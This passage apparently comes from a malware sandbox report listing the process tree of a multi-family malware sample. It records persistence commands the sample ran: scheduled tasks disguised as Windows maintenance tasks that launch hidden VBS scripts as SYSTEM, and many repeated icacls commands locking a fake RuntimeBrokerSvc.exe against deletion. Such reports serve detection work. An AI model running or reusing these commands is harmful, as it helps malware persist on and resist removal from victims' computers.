    C:\Windows\System32\schtasks.exe /delete /tn WinMgmtSvc /f
    3⤵
    PID:4308
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /create /tn WindowsCoreUpdate /tr "C:\Windows\System32\wscript.exe //B //Nologo \"C:\Windows\System32\WindowsCoreUpdate.vbs\"" /sc onlogon /ru SYSTEM /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5704
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /create /tn WinUpdateService /tr "C:\Windows\System32\wscript.exe //B //Nologo \"C:\Windows\System32\WindowsCoreUpdate.vbs\"" /sc onstart /ru SYSTEM /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5772
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn \Microsoft\Windows\Maintenance\WinSAT\Metrics /f
    3⤵
    PID:5948
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn \Microsoft\Windows\Maintenance\WinSAT\MetricsBoot /f
    3⤵
    PID:1348
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn WinCoreMetrics /f
    3⤵
    PID:5080
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn KBGGhostStartup /f
    3⤵
    PID:2644
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /create /tn \Microsoft\Windows\Maintenance\WinSAT\Metrics /tr "C:\Windows\System32\wscript.exe //B //Nologo \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\56a3aa62\RuntimeBroker.vbs\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:628
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /create /tn \Microsoft\Windows\Maintenance\WinSAT\MetricsBoot /tr "C:\Windows\System32\wscript.exe //B //Nologo \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\56a3aa62\RuntimeBroker.vbs\"" /sc onstart /ru SYSTEM /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:804
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp /remove:d FRPTRMXS\Admin
    3⤵
    PID:4588
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp /remove:d Everyone
    3⤵
    PID:2748
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /remove:d FRPTRMXS\Admin
    3⤵
    PID:5916
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /remove:d Everyone
    3⤵
    - Possible privilege escalation attempt
    PID:3928
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /remove:d SYSTEM
    3⤵
    PID:3840
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /grant:r FRPTRMXS\Admin:(F)
    3⤵
    PID:2528
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /grant:r Everyone:(RX)
    3⤵
    - Modifies file permissions
    PID:5680
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /remove:d FRPTRMXS\Admin
    3⤵
    PID:5292
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /remove:d Everyone
    3⤵
    - Modifies file permissions
    PID:1868
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /remove:d FRPTRMXS\Admin
    3⤵
    - Modifies file permissions
    PID:488
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /remove:d Everyone
    3⤵
    PID:5152
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /remove:d SYSTEM
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1296
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(F)
    3⤵
    PID:5016
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r Everyone:(RX)
    3⤵
    PID:4176
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:2312
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:5720
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:2472
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:4836
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Modifies file permissions
    PID:1776
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:1088
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:4188
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:5832
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4512
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:3316
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:2884
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    - Modifies file permissions
    PID:2832
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:2364
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Possible privilege escalation attempt
    PID:5444
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:2376
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:5956
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Modifies file permissions
    PID:1908
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:628
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:1232
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4080
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:1448
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:4852
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:4292
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:2780
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:3064
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:4208
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:2056
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:4632
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:5436
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:5912
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:2388
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:3164
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:2964
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:2272
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:5824
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:2996
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /query /tn WindowsHealthService
    3⤵
    PID:1564
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn WindowsHealthService /tr "C:\Windows\System32\wscript.exe //B //Nologo \"C:\Users\Admin\AppData\Local\Microsoft\Windows\System\_kbg_run_41323142.vbs\"" /sc onlogon /ru Admin /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2420
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:5220
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Possible privilege escalation attempt
    PID:3100
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:1136
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:5560
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:4696
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:4188
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:3820
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:4512
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:6128
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:2884
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2832
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:1168
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:5928
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:3460
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:1204
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:2644
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:4232
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:3144
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:5216
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Possible privilege escalation attempt
    PID:2540
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:3728
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:1420
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:2568
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:3484
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:5052
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Modifies file permissions
    PID:4588
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:5836
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:5620
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:5768
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:4544
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    PID:5968
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:1332
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:3752
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:5692
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Modifies file permissions
    PID:3740
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:252
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:1720
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:5924
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:4132
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:3788
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:120
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:4696
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:2664
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:2812
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:3316
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:2808
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:4300
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:4776
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    PID:1112
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:4936
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Modifies file permissions
    PID:272
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:2064
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:1908
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:4088
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:4948
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:3216
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:3728
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:4828
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:5856
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:1236
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    PID:3840
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:1928
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:3144
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:1396
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:3784
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:5572
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:5968
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:1056
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:1296
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:5588
- - C:\Windows\SYSTEM32\icacls.exe
